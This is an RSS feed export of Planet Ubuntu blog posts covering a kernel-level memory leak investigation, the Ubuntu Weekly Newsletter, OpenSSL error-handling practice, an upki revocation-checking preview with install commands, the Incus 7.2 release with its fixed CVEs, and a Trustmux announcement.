Planet Ubuntu https://ubuntu-community-team.github.io/terra/ Fresh posts from the Planet Ubuntu en json-to-rss (GitHub Actions) Tue, 21 Jul 2026 02:53:18 GMT 60 New Blog http://bobthegnome.blogspot.com/2026/07/new-blog.html http://bobthegnome.blogspot.com/2026/07/new-blog.html Sun, 19 Jul 2026 20:18:23 GMT In an attempt to encourage myself to post more I have created a new blog Thinking Open. If you want to hear my thoughts on Open Source, Ubuntu and Flutter then come on over! I'll keep Bob's development blog here as an archive but there will be no more posts.

Haere rā!

]]> Robert Ancell Tracing a memory leak bug in PID 1 and contributing an upstream fix: a Linux support story https://ubuntu.com//blog/fixing-memory-bug https://ubuntu.com//blog/fixing-memory-bug Fri, 17 Jul 2026 08:04:51 GMT Some memory leaks are straightforward to detect. A process allocates memory, forgets to free it, and grows until something breaks. This was not that kind of leak.

This is the story of how Canonical Support helped a global retail organization trace the cause for an unusual memory leak originating in PID 1, the very first process started by the kernel during the system boot sequence. The memory footprint was 10 times higher than expected. By investigating the issue across three separate system layers – a misconfigured storage orchestrator, a kernel race condition, and glibc’s allocator – our team was able to identify the source and fast-track a patch. 

The symptom that made no sense

The customer was the innovation and engineering arm of a global retail company. They were responsible for driving the company’s retail transformation –  operating a fleet of servers running as part of a Ceph storage cluster. Across several of these cluster nodes, they began observing a pattern that made no immediate sense: /sbin/init (a symlink to systemd, which was running as PID 1) was consuming over 50% of available system memory. On servers with 125 GB of RAM, that meant PID 1 alone was holding approximately 70 GB, when only 8 GB were expected. The systems were experiencing out-of-memory kills, with the kernel forcibly terminating processes to free up available memory to survive.

Nothing in the obvious diagnostic places explained it. Memory consumption continued to grow, and was never released. The investigation didn’t point to any obvious application-level cause. The customer had ruled out the workloads running on the servers as being the issue. The problem was somewhere deeper, below the application layer.

Starting the investigation: getting the right artifact

The support team at Canonical’s first move was to request sos-reports from the affected nodes, the standard starting point for system-level investigation. But sos-report output, comprehensive as it is, didn’t contain anything that explained a 70 GB footprint on PID 1. The next step was more direct: the engineer requested a core dump of PID 1 itself, generated with gcore 1.

This is not a routine ask. Generating a core dump of the init process (PID 1) on a running production system is the technical equivalent of performing open-heart surgery while the patient is running a marathon. PID 1 is not just any process; it is the root of the entire user-space ecosystem. If it stumbles, the whole system collapses. Because the resulting file is massive – In this case the core dump compressed from 70 GiB to less than 10 GiB, a major red flag that there was significant repetition in the memory of the process –, transferring, downloading, and analyzing it can significantly delay the start of troubleshooting, and the investigation itself can take an unpredictable amount of time. The customer uploaded it, and that artifact is what cracked the case open.

The diagnostic leap: from memory to mounts

Analyzing the core dump, the Canonical engineer could see directly what was occupying PID 1’s memory. The footprint was tied to mount table entries. Specifically, entries from runs of a ceph-volume Docker container. The mount table, which systemd maintains and reparses every time changes are made, had grown to millions of entries.

The behavior of systemd here is by design: it watches /proc/self/mountinfo and reparses the full table on every change. Under normal conditions, reparsing is not an issue, but because the table was now very large, continuously regenerating it caused serious issues. Each time systemd parsed it, glibc’s allocator retained the memory rather than returning it to the kernel. The memory accumulated but was never freed.

That explained the mechanism, but it didn’t yet explain why the mount table had grown so large, or why ceph-volume containers were running so frequently.

The second leap: a silent failure nobody knew about

This is where the investigation crossed layers.

Tracing the frequency of ceph-volume container activity, the engineer identified the actual source: a cephadm process – part of the Ceph orchestration layer – was repeatedly attempting to “zap” (a destructive operation that wipes all data and metadata from a disk to reset it to a clean state) an OSD (Object Storage Daemon) that no longer existed. Because there was no Logical Volume associated with it, the operation failed every time. And every time it failed, it retried. The ceph-volume Docker container was spinning up and tearing down in a continuous loop.

Nobody had flagged this because the orchestration layer in Ceph was silently failing, and the only visible symptom, the one that brought the customer to Canonical Support, was 70 GB of memory consumed by PID 1 on nodes that had nothing obviously wrong with them.

Stopping the loop was the workaround. Once cephadm was corrected and the repeated zap attempts ceased, the mount/unmount thrashing stopped, the race condition stopped triggering, and memory usage stabilized. The customer confirmed that the correction resolved the immediate problem.

Once a workaround was implemented, the Canonical team was able to shift their attention to finding a permanent fix. 

From diagnosis to upstream

Canonical’s support engineers traced the bug to the upstream code and regularly engaged with  the open source community to implement a fix that extended beyond the immediate customer. By providing Linux kernel maintainers with a fully characterized bug and a verified trigger, they secured a resolution that benefited the entire open source ecosystem.

By shrinking the problem to a minimal reproducer, mounting and unmounting a tmpfs in a tight loop, the team isolated the precise, reproducible mechanism: a kernel race condition. This churn caused mount table entries to intermittently spike to millions of lines, triggering continuous systemd reparsing and glibc memory retention, which resulted in the 70 GB footprint on PID 1. 

The patch was merged into the mainline kernel. After passing through the Stable Release Update (SRU) process, the fix landed in several Ubuntu kernel releases.

Why this case stands out

What looked like a  memory leak wasn’t quite the whole story. While the memory was being properly freed by systemd and tracked by glibc, it became unusable to the rest of the system, effectively starving the node. The real issue was that a silent misconfiguration in a storage orchestration layer, cephadm looping on a non-existent OSD, was the trigger for a kernel-level race condition that manifested as an inexplicably large footprint. No single layer told the full story: 

  • The sos-report pointed toward the symptom. 
  • The core dump identified the mechanism. 
  • Tracing the container activity identified the trigger. Only then was there enough precision to take the problem upstream.

That chain, from production symptom to cross-layer diagnosis to mainline kernel patch, is what enterprise Linux support looks like when the problem isn’t immediately obvious and doesn’t fit a known category.

If you want to understand what support from Canonical can bring to complex infrastructure problems, visit our support page, or, get in touch.

]]> Ubuntu Blog E383 Gambiarra Do Trovão Armada Em 64 https://podcastubuntuportugal.org/e383/ https://podcastubuntuportugal.org/e383/ Thu, 16 Jul 2026 00:00:00 GMT Há um mês que não gravávamos e por isso trazemos muitas aventuras: o novo Thundermail, e-readers artesanais, UPS que fritam e fazem tostas mistas, dedos cortados, comutadores alucinados, câmaras virtuais com Pipewire e gambiarras manhosas, sessões de desencaixotamento («unboxing») em audio, actualizações extemporâneas de Ubuntu e ainda: mais fanáticos convertidos ao Ubuntu Touch, porque é que o Android não presta, boas notícias de Nextcloud em Ubuntu Touch, Steam em Arm64, Rust Coreutils, novidades de Agenda e opiniões polémicas sobre centros de dados, que quase davam porrada de criar bicho.

Já sabem: oiçam, subscrevam e partilhem!

Atribuição e licenças

Este episódio foi produzido por Diogo Constantino, Miguel e Tiago Carrondo e editado pelo Senhor Podcast. O website é produzido por Tiago Carrondo e o código aberto está licenciado nos termos da Licença MIT. (https://creativecommons.org/licenses/by/4.0/). A música do genérico é: “Won’t see it comin’ (Feat Aequality & N’sorte d’autruche)”, por Alpha Hydrae e está licenciada nos termos da CC0 1.0 Universal License. Os separadores de péssima qualidade foram tocados ao vivo e sem rede pelo Miguel, pelo que pedimos desculpa pelos incómodos causados. Os efeitos sonoros têm os seguintes créditos: Happy Holiday 87bpm loop by AudioCoffee – https://freesound.org/s/758405/ – License: Attribution NonCommercial 4.0; Breaking news intro music by humanoide9000 – https://freesound.org/s/760770/ – License: Attribution 4.0; Sound Design Trailer by DeVern – https://freesound.org/s/554673/ – License: Attribution NonCommercial 3.0; Tropicorp Advertisement by code_box – https://freesound.org/s/561190/ – License: Creative Commons 0. Este episódio está licenciado nos termos da licença: Attribution-NonCommercial-NoDerivatives 4.0 International (CC BY-NC-ND 4.0), cujo texto integral pode ser lido aqui. Estamos abertos a licenciar para permitir outros tipos de utilização, contactem-nos para validação e autorização. A arte de episódio foi criada por encomenda pela Shizamura - artista, ilustradora e autora de BD. Podem ficar a conhecer melhor a Shizamura na Ciberlândia e no seu sítio web.

]]> Podcast Ubuntu Portugal Ubuntu Weekly Newsletter Issue 952 https://discourse.ubuntu.com/t/ubuntu-weekly-newsletter-issue-952/84897 https://discourse.ubuntu.com/t/ubuntu-weekly-newsletter-issue-952/84897 Mon, 06 Jul 2026 22:01:53 GMT

header

Ubuntu Weekly News

UWN Issue 952 July 5-11, 2026.

Welcome to the Ubuntu Weekly Newsletter, Issue 952 for the week of July 5 - 11, 2026.

In this Issue

  • Ubuntu 25.10 (“Questing Quokka”) reached End of Life on 9 July 2026
  • Public Exploit Turns 15-Year Linux Kernel Flaw Into 5-Second Root Attack
  • Google pays $250K for Linux vulnerability allowing guest VM escapes
  • Welcome New Members and Developers
  • Ubuntu Stats
  • Hot in Support
  • Other Meeting Reports
  • Upcoming Meetings and Events
  • Ubuntu Circles! (LoCo) News
  • Ubuntu @ KDE Akademy 2026
  • UbuCon Latin America 2026
  • OpenPrinting News: Opportunity Open Source 4.0 - Call for Proposals extended to end of July
  • Ubuntu Circles! (LoCo) Events
  • Workshop 0.9.3 has been released
  • Run Workshop actions in a CI pipeline
  • The 2026.06.22 SRU Cycle is started
  • Call for testing: ubuntu-lint
  • What Say You
  • Lubuntu is officially in my .iso roster.
  • Canonical News
  • In the Press
  • In the Blogosphere
  • In Other News
  • Featured Audio and Video
  • Updates and Security for Ubuntu 22.04, 24.04, 25.10, and 26.04
  • And much more!

General Community News

Ubuntu 25.10 (“Questing Quokka”) reached End of Life on 9 July 2026

Utkarsh Gupta of the Ubuntu Release team has announced the End of Life for Ubuntu 25.10: July 9, 2026. We’re reminded of some facts of this release including when it was released, how to upgrade to Ubuntu 26.04 LTS, and more.

https://discourse.ubuntu.com/t/ubuntu-25-10-questing-quokka-reached-end-of-life-on-9-july-2026/85017

Public Exploit Turns 15-Year Linux Kernel Flaw Into 5-Second Root Attack

John Bright tells us of a ‘working exploit’ that has existed since 2011, and is now referred to as GhostLock; CVE-2026-43499. We’re told it was discovered by Nebula Security’s VEGA team, given a link to the write up, and told of Google’s kernelCTL bug bounty award for the submission. We’re told a fix has been made, and is slowly rolling out to distributions. A decent discussion of the flaw and its potential risk to our systems is provided, and finally a FAQ.

https://www.techtimes.com/articles/319914/20260708/public-exploit-turns-15-year-linux-kernel-flaw-5-second-root-attack.htm

Google pays $250K for Linux vulnerability allowing guest VM escapes

Dan Goodlin talks about two vulnerabilities, namely CVE-2026-53359 (Januscape) and CVE-2026-43499 [GhostLock, see prior article too]. Dan discusses the vulnerabilities and how they can be used to attack our system, Google’s award for discoverers (Hyunwoo Kim & Nebula Security VEGA team), and ends telling us the Linux kernel has been patched, so check our distributions for fixes to apply.

https://arstechnica.com/security/2026/07/high-severity-guest-vm-escape-is-1-of-2-linux-vulnerabilities-to-surface-this-week/

Welcome New Members and Developers

Congratulations to these contributors!

Ubuntu Stats

Bug Stats

  • Open: 136893 (+63)
  • Critical: 305 (+1)
  • Unconfirmed: 72670 (+15)

As always, the Bug Squad needs more help. If you want to get started, please see: https://wiki.ubuntu.com/BugSquad

Translations

  • Swedish: 99.99% (35/1465)
  • Albanian: 98.85% (4035/6)
  • Ukrainian: 89.37% (37343/1703)
  • German: 87.16% (45099/348)
  • French: 85.78% (49949/6406)

Hot in Support

Ubuntu Community Discourse Trending Top 5 Threads

Find more support at: https://discourse.ubuntu.com/c/support-and-help/306

Ask Ubuntu Top 5 Questions

Ask (and answer!) questions at: https://askubuntu.com/

Other Meeting Reports

Upcoming Meetings and Events

Times shown are UTC unless otherwise specified. For more details and further dates please visit: https://ubuntu.com/community | https://discourse.ubuntu.com/upcoming-events

Ubuntu Circles! (LoCo) News

Ubuntu @ KDE Akademy 2026

Mauro Gaspari has posted a KDE Akademy event record which gives us details of the Akademy; which is happening this 30th year of the KDE project. Date, location, links, and brief details are provided.

https://discourse.ubuntu.com/t/ubuntu-kde-akademy-2026/84871

UbuCon Latin America 2026

Mauro Gaspari has posted a UbuCon Latin America event record which gives us details of the UbuCon Latin America 2026 conference. We’re shown a poster, given details; Mauro includes the date, location, and more.

https://discourse.ubuntu.com/t/ubucon-latin-america-2026/84874

OpenPrinting News: Opportunity Open Source 4.0 - Call for Proposals extended to end of July

Till Kamppeter gives us the latest OpenPrinting News, which includes an extension for the Call for Proposals for Opportunity Open Source 4.0. We’re reminded about what is wanted in the call for proposals, and given numerous links for more information.

https://openprinting.github.io/OpenPrinting-News-Opportunity-Open-Source-4.0-Call-for-Proposals-extended-to-end-of-July | https://events.canonical.com/event/154/abstracts/

Ubuntu Circles! (LoCo) Events

The following LoCo team events are currently scheduled in the next two weeks:

Looking beyond the next two weeks? Visit the respective Circles!/LoCo Team calendar to browse upcoming events.

Please also see:

The Hub

Workshop 0.9.3 has been released

Dmitry Lyfar gives us details of the release of Workshop 0.9.3. It includes a list of the new features, listing for SDKcraft, Workshop GitHub Action changes and Reference SDKs, with links provided.

https://discourse.ubuntu.com/t/workshop-0-9-3-has-been-released/84875

Run Workshop actions in a CI pipeline

Artem Konev briefly reminds us of the purpose of Workshop, and moves to using CI to build a second copy of that environment, mentioning that over time these copies can ‘drift’ apart. This post tells us of the creation of a “small repo” used to prove how it works, with this post giving us details on what is found. This can help us better understand the launch-workshop action, which may save us time. Finally we’re given a list of further pages where we can learn more, too.

https://discourse.ubuntu.com/t/run-workshop-actions-in-a-ci-pipeline/84876

The 2026.06.22 SRU Cycle is started

Mehmet Basaran in posting the SRU Cycle 2026-06-22 post gives us details of the SRU Cycle which covers 22-June through 19-July 2026.

https://discourse.ubuntu.com/t/the-2026-06-22-sru-cycle-is-started/84927

Call for testing: ubuntu-lint

Nick Rosbrook (enr0n) tells us about a new ubuntu-lint tool which will help Ubuntu upload quality and developer experience within existing conventions. We’re given some details, and told how to install it if running Ubuntu 26.10 or Ubuntu 24.04 LTS. We’re also briefly told how it can be used, either interactively or in an integrated manner. We’re finally asked to consider installing and using it in our workflows, and provide feedback or bug reports and feature requests on the provided GitHub link.

https://discourse.ubuntu.com/t/call-for-testing-ubuntu-lint/85006

What Say You

Lubuntu is officially in my .iso roster.

“I admit LubuntuOfficial Lubuntu kinda knocked my socks off today. I’ve been trying to find something I like for a certain 01/2015 low-end semi-refurb HP15 and the ‘tiny’ and ‘pi’ OSes weren’t what I was digging but the XFCE of Zorin Lite and Mint XFCE were almost too ‘heavy’, but LXQt & Lubuntu = usability and speed wo sacrifice. I don’t know why I dug my heels in this long. It isn’t a daily driver, it’s a special-purpose computer, but Lubuntu is officially in my .iso roster.” - C!

https://ubuntu.social/@SlangC5326@mastodon.social/116880309595621080

Canonical News

In the Press

Canonical Managed Kubeflow lands on Azure

Rob Gibbon, the Product Manager of AI & Analytics at Canonical, has written this partner content. Rob discusses why platform teams are swapping DIY Kubeflow for Canonical’s managed service. This post touches on management issues, including the somewhat constant upstream changes, security patches, and considerations for an organizations own needs. This can be more complex due to Kubeflow’s structural roots, which can make Canonical’s managed options an ‘escape valve’.

https://www.theregister.com/paas-and-iaas/2026/07/09/canonical-managed-kubeflow-lands-on-azure/5268626

In the Blogosphere

KDE Plasma 6.6.6 Released with Numerous Bug Fixes and Various Improvements

Marcus Nestor informs us that the KDE Project has released KDE Plasma 6.6.6 as the last maintenance release of the KDE Plasma 6.6 series. We’re given some details of crashes/bugs now fixed, some of what is now possible, and a link to the full changelog.

https://9to5linux.com/kde-plasma-6-6-6-released-with-numerous-bug-fixes-and-various-improvements

Proton 11 Officially Released with Support for More Games Running on Linux

Marcus Nestor tells us of Valve’s release of Proton 11, based on Wine 11. We’re given a list of “newly supported games” and told of some improvements in Proton 11 too. A link to the release notes at GitHub is provided if we need more.

https://9to5linux.com/proton-11-officially-released-with-support-for-more-games-running-on-linux

XWayland 24.1.13 Released To Fix Two More Security Issues In The X.Org Codebase

Michael Larabel tells us of two now public issues in X.Org Server (and XWayland). The vulnerabilities (CVE-2026-55999 and CVE-2026-56000) were discovered by Trend Micro Zero Day Initiative, with us also told they are now solved upstream.

https://www.phoronix.com/news/XWayland-24.1.13-Released

Ubuntu 26.10 retires dbus-daemon after 22 year run as default

Joey Sneddon tells us that Ubuntu 26.10 will replace its d-bus implementation which has been with us since Ubuntu 4.10 (2004). He briefly reminds us what the dbus message bus does. We’re told that dbus-daemon could drop messages when the system is heavily loaded, which shouldn’t happen with the much newer dbus-broker which replaces it. Joey also explains why this wasn’t done before now, with the older dbus-daemon package being moved to universe so they’re still available for packages that require it. Joey also includes some commands that will let us try it out.

https://www.omgubuntu.co.uk/2026/07/ubuntu-26-10-dbus-broker

In Other News

Strengthening Rust Infrastructure Security with Ubuntu Pro

Marco Ieni talks of the Rust project’s broad set of infrastructure, using modern practices, with some [legacy] ‘pets’. We’re then told the Rust project has adopted Ubuntu Pro, and given the reasons why. Also discussed is why automatic updates are of benefit to the Rust project infrastructure.

https://rustfoundation.org/media/strengthening-rust-infrastructure-security-with-ubuntu-pro/

Featured Audio and Video

Linux Matters: Episode 85 - Clearing the Decks

“Alan reports back from the Ubuntu Summit, Martin updates Jivetalking, and Mark is a fun guy.”

https://linuxmatters.sh/85/

Updates and Security for Ubuntu 22.04, 24.04, 25.10, and 26.04

Security Updates

Ubuntu 22.04 Updates

End of Standard Support: April 2027

Ubuntu 24.04 Updates

End of standard support: April 2029

Ubuntu 25.10 Updates

END OF LIFE: July 9, 2026

Ubuntu 26.04 Updates

End of Standard Support: April 2031

Subscribe

Get your copy of the Ubuntu Weekly Newsletter delivered each week to you via email at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-news

Or follow us via our various social media presences:

Archives

For recent issues of the Ubuntu Weekly Newsletter Issue 786 & later please visit our Discourse page: or our Portal page: that is easier to read. The older WIKI issues (809 and earlier) are available at: UbuntuWeeklyNewsletter/Archive.

Further News

As always you can find more Ubuntu news and announcements at:

Conclusion

Thank you for reading the Ubuntu Weekly Newsletter.

See you next week!

Credits

The Ubuntu Weekly Newsletter is brought to you by:

  • Krytarik Raido
  • Bashing-om
  • Chris Guiver
  • Wild Man
  • irihapeti
  • And many others

Glossary of Terms

Other acronyms can be found at: https://discourse.ubuntu.com/t/glossary-uwn/42405

Get Involved

The Ubuntu community consists of individuals and teams, working on different aspects of the distribution, giving advice and technical support, and helping to promote Ubuntu to a wider audience. No contribution is too small, and anyone can help. It’s your chance to get in on all the community fun associated with developing and promoting Ubuntu. More on this at: https://community.ubuntu.com/contribute/

Or get involved with the Ubuntu Weekly Newsletter team! We always need summary writers and editors, if you’re interested, learn more at: https://discourse.ubuntu.com/t/joining-the-ubuntu-weekly-newsletter-team/40929

Feedback

This document is maintained by the Ubuntu Weekly News Team. If you have a story idea or suggestions for the Weekly Newsletter, join the Ubuntu News Team mailing list at https://lists.ubuntu.com/mailman/listinfo/Ubuntu-news-team and submit it. Ideas can also be added to the wiki at https://discourse.ubuntu.com/t/ubuntu-weekly-newsletter-ideas/40053/ . If you’d like to contribute to a future issue of the Ubuntu Weekly Newsletter, please feel free to edit the appropriate wiki page. If you have any technical support questions, please check https://community.ubuntu.com/help-information/ for more information on where to get help.

Except where otherwise noted, this issue of the Ubuntu Weekly Newsletter is licensed under a Creative Commons Attribution ShareAlike 3.0 License.

CCL

1 post - 1 participant

Read full topic

]]> Ubuntu Weekly News The pandemic of incomplete OpenSSL error handling https://blog.jak-linux.org/2026/07/03/openssl-pandemic/ https://blog.jak-linux.org/2026/07/03/openssl-pandemic/ Fri, 03 Jul 2026 15:54:22 GMT Recently a person reported a bug in APT saying that TLS is failing on FIPS systems with MD5 errors, and suggested we call ERR_clear_error() around TLS operations.

Like any serious software engineer would do, I said No. Just because one component failed to handle its errors does not mean I can go around and discard all errors in another place - the program should have failed earlier (or discarded the error when it was determined to be safe).

Little did I know that people have for years been using this approach as a best practice: Codebases everywhere are littered with calls to ERR_clear_error() before performing TLS, and upstream themselves suggest to do just that.

This is a major, systemic, pandemic of incomplete error handling. We cannot just discard unrelated errors if they become inconvenient. The code that caused the error needs to be fixed to handle it.

This isn’t all. It seems many authors are not familiar with libraries using a stack of errors, and there is a second anti-pattern:

Call an OpenSSL operation, check the top-level error, and then discard all errors if deemed “not too bad”. This has the same problem: Unrelated errors get silently discarded.

I would strongly encourage everyone to inspect their code bases for any calls to ERR_clear_error() and whether they are safe or one of the bad patterns above (or maybe you find a new pattern). You may want to use error stack functionality ofERR_set_mark (https://docs.openssl.org/3.4/man3/ERR_set_mark/) to essentially “push” and “pop” an error context of your own as a guard around multiple OpenSSL operations.

To the OpenSSL authors, I would suggest not encouraging devastating security practices that fundamentally break any trust in software.

We need to do better than this.

]]> Julian Andres Klode Try the `upki` preview for Ubuntu https://jnsgr.uk/2026/07/upki-preview-for-ubuntu/ https://jnsgr.uk/2026/07/upki-preview-for-ubuntu/ Wed, 01 Jul 2026 00:00:00 GMT

This article was originally posted on the Ubuntu Discourse, and is reposted here. I welcome comments and further discussion in that thread.

The development of upki has been steadily progressing over the past few months. Since my last update, the project has released a beta version of the CLI tool and library, and the Ubuntu Foundations team has released a preview that users of Ubuntu 26.04 LTS and Ubuntu 26.10 development snapshots can try out.

The preview is still experimental, but it contains both the upki client packages, and the initial OpenSSL integration. An instance of the upki mirror which serves the CRLite filter data is being hosted in Canonical’s infrastructure at upki.ubuntu.com.

In this post I’ll briefly recap what upki is trying to achieve, cover the infrastructure and packaging work that has landed, and show how to try the preview on Ubuntu 26.04 LTS or Ubuntu 26.10.

Recap: what is upki? Linux has long had a gap in how it handles Web PKI data outside browsers. Firefox and Chromium have mature, browser-specific infrastructure for certificate revocation and related PKI data, but system utilities, package managers, language runtimes and many command-line tools have historically lacked a consistent mechanism for checking whether a publicly trusted TLS certificate has been revoked.

upki’s first goal is to bring reliable, efficient and privacy-preserving revocation checking to Linux and other Unix-like operating systems. It builds on Mozilla’s CRLite work, using compact filter data that can be synced locally and queried offline. The client can then answer the question “is this certificate revoked?” without leaking browsing activity to a certificate authority (CA) and without requiring every application to implement its own CRL management stack.

The project is designed around a few interfaces:

  • a command-line tool for fetching revocation data and checking certificate chains;
  • a Rust library for direct integration with Rust applications;
  • a C FFI for integration from C, C++, Go and other runtimes;
  • a rustls-upki integration crate for Rust applications using rustls;
  • and an upki-openssl integration layer that exposes an OpenSSL verification callback.

Longer-term, the same local data distribution mechanism could support other browser-grade Web PKI data, including intermediate preloading, Certificate Transparency policy, root distrust information and, further out, Merkle Tree Certificates.

Recent progress #

The upstream rustls/upki repository has moved on substantially since the initial upki-0.1.0 release in February. The current beta pre-release is upki-1.0.0-beta.1, published on 10 June 2026.

Since then, the C FFI has been folded into the main upki crate and now has a documented minimal example, upki-openssl has landed, exposing upki_openssl_verify_callback() for OpenSSL-based clients, and the rustls-upki crate now provides policy-controlled behaviour for missing data, certificates not covered by revocation data, and certificates without Signed Certificate Timestamps (SCTs).

The upki package we’re making available in a PPA installs a system-wide configuration file under /etc/upki/config.toml, creates a dedicated upki service user, and installs an upki-fetch.timer that runs every two hours after an initial boot delay.

Install the development preview #

This preview is intended for testing only. It includes patched OpenSSL packages, so use a disposable VM or test system, not a production machine.

On Ubuntu 26.04 LTS or Ubuntu 26.10, add the preview PPA:

1
2

sudo add-apt-repository ppa:ubuntu-foundations-team/upki-preview
sudo apt install openssl upki libupki-openssl1

On Ubuntu 26.10, upki is intended to come from the archive while the preview PPA supplies the patched OpenSSL integration. On Ubuntu 26.04 LTS, the PPA supplies both the backported upki package and the patched OpenSSL packages.

Once installed, the revocation cache will populate on a timer (run systemctl status upki-fetch.timer for details). To trigger a fetch manually:

1

sudo -u upki upki fetch

For a manual check, pipe a certificate chain from curl into upki:

1
2
3
4
5

$ curl -sw '%{certs}' https://google.com | upki revocation check
NotRevoked

$ curl -sw '%{certs}' https://revoked-ctrca.certificates.certum.pl/ | upki revocation check
CertainlyRevoked

For the OpenSSL path, tools linked against the patched OpenSSL build can exercise revocation checking during certificate verification. For example, testing against a deliberately revoked certificate endpoint should fail during the TLS handshake with OpenSSL reporting a revoked certificate:

1
2
3
4
5

$ curl https://revoked-ctrca.certificates.certum.pl/
curl: (60) SSL certificate OpenSSL verify result: certificate revoked (23)
More details here: https://curl.se/docs/sslcerts.html.
curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it.
To learn more about this situation and how to fix it, please visit the webpage mentioned above.

The integration with OpenSSL is probably the most important part of this preview. When the packaging is finalised for Ubuntu (and included by default), any utility that links against a patched TLS provider (like OpenSSL), and follow the standard certificate verifications path should benefit from upki-backed revocation checking without application-specific changes.

The current preview is intentionally broad so that we can test the plumbing. The final integration policy may be narrower, and some applications that disable or override OpenSSL verification will need direct application-level integration rather than relying solely on a library callback.

Canonical-hosted infrastructure #

One of the pieces I called out in the last update was production infrastructure. upki needs a mirror for CRLite filter data so that clients are not coupled directly to Mozilla’s internal serving infrastructure, and so that distributions and large deployments can point their systems at a stable, policy-controlled endpoint.

That work is now in place for the preview. The Ubuntu preview packages point at:

1
2

[revocation]
fetch-url = "https://upki.ubuntu.com/revocation/"

The endpoint is live and serving a manifest.json describing the current revocation filter set. The service is operated using the upki-mirror Kubernetes operator, a Charmed Operator that drives the upki-mirror service on Kubernetes. The operator packages the mirror binary in a chiseled container and serves the generated filter data with nginx.

What’s next #

The next phase is about polishing the preview into something we can confidently integrate more widely. The aim is to ship upki and its early integrations by default in Ubuntu 26.10.

Over the coming weeks we’re hoping to gather feedback from this preview and fix any issues in the packaging/Ubuntu integration, while the core team behind upki continues to work on the OpenSSL integration and measuring the fetch performance, cache size and revocation query latency on real systems.

As always, thanks to Dirkjan, Joe, Julian and everyone else contributing to the implementation, packaging and infrastructure work that has made this preview possible.

]]> Jon Seager Announcing Incus 7.2 https://stgraber.org/2026/06/29/announcing-incus-7-2/ https://stgraber.org/2026/06/29/announcing-incus-7-2/ Mon, 29 Jun 2026 04:32:40 GMT The Incus team is pleased to announce the release of Incus 7.2!

It’s another pretty busy release for us with a varied set of new features across the board as well as the usual set of performance improvements and bugfixes.

This fixes the following security issues:

  • CVE-2026-48749 (critical) – Arbitrary file read+write on host via rootfs/ symlink in malicious image
  • CVE-2026-48750 (critical) – Arbitrary file write on host via exec-output symlink in crafted image
  • CVE-2026-48751 (critical) – Restricted project bypass leading to arbitrary command execution
  • CVE-2026-48752 (critical) – Arbitrary file read+write on host via templates/ symlink in malicious image
  • CVE-2026-48755 (critical) – Argument injection in backup compression algorithm leading to arbitrary file write and command execution
  • CVE-2026-48769 (critical) – Arbitrary file write on client due to trusted image hash
  • CVE-2026-55621 (high) – Project restriction bypass for custom volume copy across projects
  • CVE-2026-55622 (high) – Project restriction bypass in instance copy across projects

On the feature front, the highlights for this release are:

  • Per-instance SELinux integration
  • New incus default CLI command
  • Filtered server info by default
  • Keepalive timeout from the CLI
  • Better OS-specific handling of CLI configuration
  • Standalone server certificate update
  • Static network configuration for OCI containers
  • Per-instance BGP route advertisement
  • Dynamic addresses in proxy NAT mode
  • Expanded NBD access to VMs
  • Btrfs compression for storage volumes
  • InfiniBand SR-IOV GUID configuration
  • Websocket origin restriction

The full announcement and changelog can be found here.
And for those who prefer videos, here’s the release overview video:

You can take the latest release of Incus up for a spin through our online demo service at: https://linuxcontainers.org/incus/try-it/

And as always, my company is offering commercial support on Incus, ranging from by-the-hour support contracts to one-off services on things like initial migration from LXD, review of your deployment to squeeze the most out of Incus or even feature sponsorship. You’ll find all details of that here: https://zabbly.com/incus

Donations towards my work on this and other open source projects is also always appreciated, you can find me on Github Sponsors, Patreon and Ko-fi.

Enjoy!

]]> Stéphane Graber Introducing Trustmux: Your Terminal, In Your Pocket http://blog.dustinkirkland.com/2026/06/introducing-trustmux.html http://blog.dustinkirkland.com/2026/06/introducing-trustmux.html Sun, 21 Jun 2026 15:12:24 GMT

Introducing Trustmux: Your Terminal, In Your Pocket

I've spent almost 3 decades thinking about terminals. Byobu has been my home for shell multiplexing for almost two decades now — a text window manager wrapped around tmux (or screen, if that's still your thing), giving you persistent sessions, status bars, and the kind of muscle memory that makes a terminal feel like an extension of your hands.

But there's always been a gap for me: what happens when I walk away from my desk?

The Problem

I run long-lived shell sessions on my workstation. Background jobs, monitoring dashboards, and — more recently — long-running Claude sessions working through code while I step away. I wanted to check in on all of it from my phone. Not babysit it constantly, just glance at it, run a command if something needed attention, and get on with my day.

The traditional answer here is SSH, or its more mobile-friendly cousin, Mosh. SSH from a machine with a full sized monitor and keyboard and low network latency is of course awesome, with its fully synchronous connection.  But from a phone or tablet — every network hiccup, every WiFi-to-cellular handoff, shows up as lag or a dropped session. Mosh improves on this slightly, but it's still fundamentally built around maintaining that live connection state. On a phone, where networks come and go constantly, that model just doesn't hold up well.

I also tried Claude Mobile, which is excellent for what it does — but it only talks to Claude. I needed something that didn't care what was running in my terminal. Sometimes it's a Claude session, sometimes it's htop, sometimes it's a deploy script or huge rsync job I want to glance at, or even a different code assistant not named Claude. I needed access to the shell, not to a specific tool.

What I actually wanted was something asynchronous: connect when I need to, see the current state instantly, type a command if I need to, and disconnect without worrying about whether the connection survived. Mobile-native, not desktop-terminal-stretched-onto-a-small-screen.

So I built it.

Trustmux

Trustmux is a lightweight daemon that runs alongside your existing tmux or Byobu setup and exposes your sessions as a secure Progressive Web App (PWA) — installable on your phone or tablet, no App Store required.

A few design principles drove this:

Security first. Every connection is encrypted with real TLS certificates. There are two ways to get there:

  • Tailscale (recommended): Trustmux binds to your Tailscale IP and uses tailscale serve for automatic certificate provisioning. Zero-trust networking, no port forwarding, no exposed surface area. Pairing your phone takes one command and a 6-digit code.
  • Self-managed certificates: If you'd rather not run Tailscale, bring your own certificate — a self-signed cert works fine for personal use.
  • Direct networking: If Tailscale is not your thing, and you just want to connect directly, and handle your port forwards, that works just fine too, as a fall back.

Asynchronous by design. This is the core insight. Trustmux doesn't try to maintain a persistent, fragile connection the way SSH does. It talks to tmux directly via libtmux, and streams terminal state to your device over a WebSocket connection that's resilient to network changes. Open the app, see exactly where your session left off, do what you need, close the app. No babysitting required.

A real PWA, not a wrapper. Trustmux installs like a native app — tap "Add to Home Screen" and you get a full-screen icon, an offline-capable UI shell, and silent background updates.

Tool-agnostic. Whatever's running in your tmux panes is what you'll see and interact with — shell commands, Claude sessions, log tails, whatever. Trustmux doesn't care; it just gives you the pane.

Installation

Trustmux is available on Ubuntu (ppa, stonking), Debian, and Fedora development repositories, as well as pip, Homebrew, and the Byobu PPA:

pip install trustmux
# or
brew tap dustinkirkland/trustmux
brew install trustmux
# or via PPA
